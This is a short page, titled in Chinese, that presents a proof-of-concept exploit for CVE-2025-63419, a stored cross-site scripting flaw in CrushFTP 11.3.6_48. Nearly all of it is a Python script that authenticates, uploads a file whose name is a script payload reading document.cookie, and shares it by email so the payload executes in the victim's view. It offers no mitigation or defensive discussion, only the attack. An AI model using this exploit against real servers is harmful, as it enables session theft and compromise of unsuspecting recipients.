CVE-2025-63419: CrushFTP 11.3.6_48 跨站脚本(XSS)漏洞

import requests import urllib.parse # CVE-2025-63419 PoC - Stored XSS in CrushFTP File Sharing # Target: CrushFTP 11.3.6_48 target_url = "http://target-server:8080/" # Malicious filename containing XSS payload malicious_filename = '<script>alert(document.cookie)</script>' # Step 1: Authenticate to CrushFTP login_data = { "username": "attacker", "password": "password123" } session = requests.Session() login_resp = session.post(f"{target_url}api/login", data=login_data) # Step 2: Upload file with malicious filename files = { "file": (malicious_filename, b"test content", "application/octet-stream") } upload_resp = session.post(f"{target_url}api/upload", files=files) # Step 3: Share the file via email (triggers XSS in email body) share_data = { "filename": malicious_filename, "recipient_email": "[email protected]", "message": "Please check this file" } share_resp = session.post(f"{target_url}api/share", data=share_data) print(f"XSS payload sent: {urllib.parse.quote(malicious_filename)}") print(f"Response: {share_resp.status_code}") # When victim views the email notification, XSS executes